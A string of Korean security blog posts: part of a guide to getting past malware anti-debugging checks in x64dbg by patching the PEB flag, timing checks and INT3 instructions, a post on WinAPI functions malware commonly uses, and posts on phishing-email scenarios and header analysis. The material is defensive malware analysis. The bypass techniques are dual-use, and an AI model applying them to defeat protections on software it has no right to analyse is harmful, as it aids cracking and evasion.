  > Options → Preferences → Settings → Exceptions

  > Add Last 또는 Add Range로 무시할 예외 코드 추가

  • DBG_PRINTEXCEPTION_C: 0x40010006
  • STATUS_SINGLE_STEP: 0x80000004
  • 기타 INT2D/INT3 예외

 - 이로써 악성코드가 예외를 던질 때 디버거 중단 없이 계속 실행됩니다.

 

4. 매뉴얼 패치 기법

 - 플러그인만으로 불가능하거나 특정 검사 루틴만 골라 우회할 때 사용합니다.

 

4.1 PEB 검사 (IsDebuggerPresent) 우회

 - 커맨드: dbh → PEB.BeingDebugged(PEB+2) 강제 0 설정.

 - 혹은 소스처럼 직접 패치:

  • 브레이크포인트(F2) → kernel32!IsDebuggerPresent 호출
  • 중단 시 mov eax,0 으로 반환값 패치
  • JE/JNZ 패치를 NOP/JMP 로 변경

 

4.2 NtGlobalFlag 검사 우회

 - PEB+0x68 값을 0으로 패치하거나, 검사 직전 mov [fs:30h+68],0 인라인 패치

 

4.3 RDTSC 타이밍 검사 우회

 - rdtsc 명령에 브레이크포인트(F2) 설정 → NOP 처리 또는 eax, edx 레지스터 값 수동 동기화

 

4.4 INT3·INT2D 검사 우회

 - 코드 내 0xCC(INT3) 검색 → NOP(0x90) 교체

 - INT2D 포트 접근 검사: 포트 I/O 후킹 혹은 NOP 처리

 

4.5 스레드·메모리 검사 우회

 - NtSetInformationThread(ThreadHideFromDebugger) 감지 브레이크포인트(F2) → NOP

 - 코드가 소프트웨어 브레이크포인트를 스캔할 때 해당 위치 NOP 처리

 

5. 절대경로·레지스트리 값 획득

 - 안티디버깅을 우회한 뒤, 기존에 안내한 대로 WinAPI에 브레이크포인트 설정합니다:

  • CreateFileW(F2) → F9 실행 → du @rcx 로 파일 경로 덤프
  • RegSetValueExW(F2) → F9 실행 → du @r8 (값 이름)/du @r9 (데이터) 덤프

 

 - 위 과정을 통해 C:\Users\username\AppData\…\b.exe 및 레지스트리 경로를 확인할 수 있습니다.

 

6. 결론

플러그인(ScyllaHide/TitanHide)으로 주요 커널·PEB 검사 후킹, x64dbg 예외 필터링, 매뉴얼 패치(NOP/JMP) 기법을 조합하면 최신 복잡 악성코드의 다층 안티디버깅을 전부 우회하고, CreateFileW/RegSetValueExW 브레이크포인트로 절대경로·레지스트리 값을 안정적으로 확인할 수 있습니다.

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능  (1) 2025.07.04
Windows 악성코드 .NET 공통 함수 및 dnSpy를 활용한 분석 기법  (0) 2025.07.04
Windows 악성코드 식별 가이드: 작업관리자(tasklist)를 통한 판별법  (0) 2025.07.03
Windows 악성코드 다층적 안티디버깅 기법 심층 분석  (0) 2025.07.02
Windows 악성코드 공통 함수명 및 x64dbg로 절대경로 확인 방법  (0) 2025.07.02


1. 핵심 요약

대부분의 Windows 악성코드는 파일 조작, 레지스트리 설정, 프로세스 실행, 네트워크 다운로드, 메모리/프로세스 주입 등과 관련된 WinAPI를 재사용합니다. 

x64dbg에서는 이러한 API 함수에 브레이크포인트를 걸고 인자를 덤프하여 “C:\Users\…\AppData\…\b.exe”와 같은 절대경로를 확인할 수 있습니다.

 

2. 악성코드에서 자주 쓰이는 WinAPI 함수

아래 표는 초기 간단한 다운로더부터 최신 복잡한 악성코드까지 공통적으로 활용되는 주요 API 함수들입니다.

 

분류 API 함수
파일 조작 CreateFileA/W, ReadFile, WriteFile, CopyFile, DeleteFile
레지스트리 조작 RegOpenKeyExA/W, RegCreateKeyExA/W, RegSetValueExA/W, RegGetValue, RegDeleteKeyA/W
프로세스·스레드 CreateProcessA/W, ShellExecuteA/W, WinExec, ResumeThread, CreateRemoteThread
네트워크 다운로드 URLDownloadToFileA/W, InternetOpenUrlA/W, InternetReadFile, InternetWriteFile, socket(), connect()
메모리·주입 VirtualAllocEx, WriteProcessMemory, VirtualProtect, CreateRemoteThread, QueueUserAPC
코드 탐지 회피 IsDebuggerPresent, NtQueryInformationProcess, GetTickCount
라이브러리 로드 LoadLibraryA/W, GetProcAddress
시스템 정보 조회 GetSystemInfo, GlobalMemoryStatusEx, GetVersion


3. x64dbg로 악성코드 저장 절대경로 확인하기

 - 아래 예시는 a.com/a.exe를 다운로드하여 C:\Users\username\AppData\Local\b.exe에 저장하는 간단한 다운로더 악성코드에서 실행 시점의 절대경로를 확인하는 방법입니다.

 

3.1 준비

  • x64dbg로 분석 대상 실행 파일을 엽니다.
  • Modules 패널에서 kernelbase.dll 및 advapi32.dll이 로드되었는지 확인합니다.

 

3.2 CreateFileW에 브레이크포인트(F2) 설정

  • Modules → kernelbase.dll → CreateFileW 항목 우클릭 → Toggle breakpoint (F2)
  • x64dbg 하단의 Breakpoints 탭에 kernelbase!CreateFileW가 추가된 것을 확인합니다.

 

3.3 실행 및 절대경로 확인

  • F9를 눌러 악성코드를 실행하면, CreateFileW 진입 시점에 자동으로 중단됩니다.
  • 하단의 Command 창에 다음을 입력하여 RCX 레지스터(첫 인자: LPCWSTR lpFileName)가 가리키는 유니코드 문자열(절대경로)을 덤프합니다:

du @rcx

 

  • 덤프 결과에 C:\Users\username\AppData\Local\b.exe 형태의 경로가 표시됩니다.

 

3.4 레지스트리에 기록된 경로 확인

  • 레지스트리 접근 시점 탐지: Modules → advapi32.dll → RegSetValueExW에 브레이크포인트 설정(F2).
  • F9로 실행 → 레지스트리 키/값 설정 시 중단.
  • Command 창에서 RDX(값 이름), R8 또는 R9(데이터 포인터) 등을 덤프하여 어떤 경로를 쓰는지 확인할 수 있습니다.

 

4. 결론

Windows 악성코드는 CreateFile, RegSetValueEx 등 공통 WinAPI를 반복 활용하며, x64dbg에서는 해당 함수에 브레이크포인트(F2) 설정 후 F9로 실행하여 du @rcx 등으로 인자를 덤프하면 파일 저장 절대경로를 손쉽게 확인할 수 있습니다.

 

https://x64dbg.com/

 

x64dbg

Built on open-source libraries x64dbg uses Qt, TitanEngine, Zydis, Yara, Scylla, Jansson, lz4, XEDParse, asmjit and snowman.

x64dbg.com

 

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > Malware' 카테고리의 다른 글

Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능  (1) 2025.07.04
Windows 악성코드 .NET 공통 함수 및 dnSpy를 활용한 분석 기법  (0) 2025.07.04
Windows 악성코드 식별 가이드: 작업관리자(tasklist)를 통한 판별법  (0) 2025.07.03
Windows 악성코드 다층적 안티디버깅 기법 심층 분석  (0) 2025.07.02
Windows 악성코드 다양한 안티디버깅 기법 우회 및 x64dbg에서 정보 획득하기  (0) 2025.07.02

◎ 발신자 이메일 주소를 위조(Spoofing)한 경우

  • 일반적으로 공격자가 소유하지 않은 주소를 사용하여 신뢰를 유도합니다.
  • 악성 파일 첨부 또는 피싱 링크 포함 확률이 매우 높습니다.
  • 사용자로 하여금 클릭 또는 로그인을 유도하는 문구를 포함합니다.
    * 예시:
    "메일 용량이 초과되었습니다. 저장공간을 확보하세요."
    "비밀번호가 만료되었습니다. 즉시 변경해주세요."
  • 이메일에 회신을 유도하지 않으며, 일방적인 동작 유도(클릭/로그인 등) 위주입니다.
  • 메일 도메인은 정식 도메인과 한 글자 정도 차이나는 유사 도메인을 사용합니다.
    * 예: microsoft.com → micr0soft.com, nate.com → narte.com
  • 발송 메일 서버(SMTP) 역시 원 도메인과 관련 없는 무료 메일 서버를 사용하는 경우가 많습니다.
  • SPF, DKIM, DMARC 인증 결과에서 실패(spf=fail 등)가 나타나는 경우가 많습니다.

 > 주요 식별 포인트

  • From과 Return-Path, Received 헤더 간 불일치 여부
  • 발송 서버의 도메인/IP가 공식 도메인과 일치하지 않는지 확인
  • DKIM 서명 누락 또는 위조 흔적 확인

 

◎ 발신자 이메일 주소를 실제로 사용하는 경우 (계정 탈취)

  • 실제 합법적인 메일 계정이 해킹된 경우입니다.
  • 외형상으로는 정상적인 발신자처럼 보이므로 식별이 어렵습니다.
  • 기존 대화 내용이 포함되거나, 정상적인 메일 흐름을 위장하기도 합니다.
  • 주로 금전적 목적의 공격이 많습니다.
     * 예시:
    "최근 계좌가 변경되었습니다. 아래 계좌로 송금 바랍니다."
    "송장 파일 첨부드립니다. 확인 후 회신 부탁드립니다."
  • 회신을 유도하는 문구가 있으며, 실제 회신 시 공격자가 응답합니다.
  • 메일 서명이 실제와 동일하거나 사내 서명 템플릿을 그대로 사용합니다.
  • 수신자가 의심 없이 대응할 가능성이 높습니다.

 > 주요 식별 포인트

  • 회신 주소(Reply-To)가 원 발신자와 다를 수 있음
  • 발신자와 주고받은 이메일 내역 확인
  • 메일 서버 IP의 이상 여부
  • 메일 작성 시점이나 언어 표현이 비정상적일 경우 주의
  • 파일 첨부 시, 파일 확장자 위장 (pdf.exe, docx.scr 등)
저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > E-mail' 카테고리의 다른 글

이메일 헤더 분석 사이트 모음 & 설명  (0) 2023.10.16
이메일 헤더 분석  (0) 2023.10.16
이메일 헤더 형식  (1) 2023.10.16

1. MXToolbox - Email Header Analyzer

  • URL: https://mxtoolbox.com/EmailHeaders.aspx
  • 설명:
    이메일 헤더를 붙여넣으면, 메일이 거쳐간 서버들과 소요 시간(latency) 등을 시각적으로 분석해줍니다.
    Received 순서, 발송지 도메인/IP, 인증정보 등을 명확하게 보여줍니다.
  • 장점:
    사용자 친화적인 UI
    지연 시간 기준으로 서버 경로를 시각화
    스팸 및 블랙리스트 검사 도구와 연동 가능

 

2. IP-Adress.com - Trace Email Address

  • URL: https://www.ip-adress.com/trace-email-address
  • 설명:
    이메일 헤더를 기반으로 IP 추적 및 위치 정보 분석에 특화된 도구입니다.
    발신 IP를 지리적 위치와 함께 표시해주며, 위장된 IP 여부 판단에 도움을 줍니다.
  • 장점:
    IP 기반 위치 분석에 탁월
    간단한 UI로 초보자도 사용 가능
    누가 메일을 보냈는지 대략적인 물리적 위치 추정 가능

 

3. Google Admin Toolbox – Messageheader

  • URL: https://toolbox.googleapps.com/apps/messageheader/
  • 설명:
    구글에서 제공하는 전문적인 이메일 헤더 분석 도구입니다.
    Received 분석, SPF/DKIM/DMARC 결과, 인증 평가 등을 정확하게 제공합니다.
  • 장점:
    신뢰성 높은 구글 제공 서비스
    헤더 간 시간 간격 분석이 매우 정밀
    SMTP 인증 및 전달 흐름 시각화

 

4. Mailheader.org

  • URL: https://mailheader.org/
  • 설명:
    간단한 UI로 Received 헤더 분석, IP 추적, 인증 실패 여부 등을 요약해줍니다.
  • 장점:
    빠르고 직관적인 결과 제공
    초보자에게 적합한 단순한 구성
    인증된 메일인지 아닌지 바로 확인 가능

 

5. Header Analyzer by Microsoft (Outlook)

  • URL: https://testconnectivity.microsoft.com/
            (https://mha.azurewebsites.net/)
  • 경로: 왼쪽 메뉴 '메세지 분석기'
  • 설명:
    마이크로소프트 이메일(특히 Exchange/Outlook) 관련 메시지를 상세 분석할 수 있는 기업용 도구입니다.
    이메일 전송 시간, 지연 원인, 인증 실패 로그까지 추적 가능
  • 장점:
    Outlook/Exchange 환경에 최적화
    포렌식 분석에 적합한 상세 로그 제공

 

6. WhatIsMyIPAddress – Email Header Analyzer

  • URL: https://whatismyipaddress.com/trace-email
  • 설명:
    IP 주소 전문 사이트에서 제공하는 간단한 헤더 분석 도구
    IP 추적과 발신지 도메인 파악에 중점
  • 장점:
    이메일 발신지 추적 목적에 특화
    스팸 추적이나 개인 사용자 분석에 적합

 

◎ 사용 팁

  • 헤더를 붙여 넣기 전에 이메일 원본 보기(View Source) 또는 "원문 다운로드 (.eml)" 기능을 통해 전체 헤더를 확보하세요.
  • Received 헤더는 항상 가장 아래(최초 발송지)부터 분석하는 것이 좋습니다.
  • 도구를 2개 이상 병행 사용하면 위·변조된 메일의 특성을 더욱 정확히 파악할 수 있습니다

 

 

 

저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > E-mail' 카테고리의 다른 글

해킹메일 시나리오  (0) 2023.10.16
이메일 헤더 분석  (0) 2023.10.16
이메일 헤더 형식  (1) 2023.10.16

해킹 메일, 스팸 메일, 악성 메일, 피싱 메일 등 위·변조된 이메일을 분석하기 위해 이메일 헤더를 살펴보았습니다.

 

◎ 주요 분석 항목

> Received

  • 이메일이 어떤 경로(서버)를 통해 전달되었는지를 기록합니다.
  • 가장 상단의 Received는 마지막 경유지, 가장 하단은 최초 발신지입니다.
  • 형식:
    Received: from [A] by [B] for [C]
    → A 서버에서 B 서버로 메일이 전달되었고, 수신자는 C입니다.
  • 헤더에 Received:가 여러 개 있다면, 메일이 여러 서버를 거쳐 전달되었음을 의미합니다.
  • 각 from 필드에는 호스트명 또는 IP 주소가 포함되며, 이를 통해 발신지 추적이 가능합니다.

 * 예시:

Received: from localhost (unknown [10.86.224.108]) (Authenticated sender: kaiwei.yeo@sheleqals.com) by us2.outbound.mailhostbox.com
  • us2.outbound.mailhostbox.com는 무료 메일 발송 서버이며,
  • From 주소는 kaiwei.yeo@sheleqals.com으로 보이지만, 실제로는 다른 서버를 통해 전송되었습니다.
  • 이는 수신자가 sheleqals.com 도메인을 신뢰하도록 유도하려는 위장 수법일 수 있습니다.

 

> Authentication-Results

  • 이메일 인증 결과를 보여줍니다.
  • SPF, DKIM, DMARC 등의 인증 상태가 이 필드에 표시됩니다.

 * 예시:

dkim="none" (message not signed)
  • DKIM이 없다는 것은 발신자가 도메인 소유 인증을 하지 않았다는 의미입니다.
  • 기업 메일에서는 일반적으로 DKIM 서명이 필수이며, 없을 경우 위조 가능성이 있습니다.

 

> SPF (Sender Policy Framework)

  • 보낸 사람의 IP가 도메인의 DNS에 등록된 발송 가능 IP인지 확인하는 기술입니다.
  • SPF 결과는 Authentication-Results에 함께 표시됩니다.
     * 예: 
spf=fail, spf=pass


> DMARC

  • SPF와 DKIM 결과를 종합하여, 정책에 따라 차단/허용/보고할지를 판단합니다.
  • 없거나 fail 상태일 경우 위조 가능성이 매우 높습니다.

 

> Date

  • 이메일이 전송된 시점(작성된 시간)을 나타냅니다.
  • 일부 악성 메일은 이 시간을 조작해 수신자에게 혼란을 줄 수 있습니다.

 

> From

  • 송신자의 이름과 이메일 주소를 나타냅니다.
  • 위조가 가장 쉬운 필드이며, Received나 Return-Path와 함께 비교하여 분석해야 합니다.

 

> To

  • 수신자의 이메일 주소입니다.

 

> Subject

  • 이메일 제목입니다.
  • 악성 메일은 보통 클릭을 유도하는 자극적인 제목을 사용합니다. 예: 연말정산 자료, 거래명세서(Invoice)  등

 

> User-Agent

  • 메일을 작성한 클라이언트 정보입니다.

 * 예시:

User-Agent: Roundcube Webmail/1.4.8
  • Roundcube는 오픈소스 웹메일 클라이언트로, 기업에서 자체 호스팅하는 경우는 드뭅니다.
  • 낮은 버전이나 생소한 클라이언트가 사용된 경우 의심 요인이 될 수 있습니다.

 

> Message-ID

  • 메일 서버에서 자동으로 생성한 고유 식별자입니다.
  • 중복되거나 비정상적인 형식일 경우, 위조 가능성이 있습니다.

 

> Return-Path

  • 메일이 반송될 경우 도달하는 주소입니다.
  • 일반적으로 MTA(메일 전송 에이전트)에서 설정합니다.
  • From 주소와 불일치할 경우 의심할 요소가 됩니다.

 

> 헤더 위조 여부 예시

  • 악성 메일은 추적을 어렵게 하기 위해 허위 Received 헤더를 삽입하는 경우가 있습니다.

 * 예시:

Received: from nowhere by fictitious-site (8.8.3/8.7.2)
Received: No Information Here, Go Away!
  • 실제 존재하지 않는 서버명이거나 비표준 메시지가 포함되어 있는 경우, 위조 가능성이 매우 높습니다.
저작자표시 비영리 동일조건 (새창열림)

'ANALISYS > E-mail' 카테고리의 다른 글

해킹메일 시나리오  (0) 2023.10.16
이메일 헤더 분석 사이트 모음 & 설명  (0) 2023.10.16
이메일 헤더 형식  (1) 2023.10.16

+ Recent posts

티스토리툴바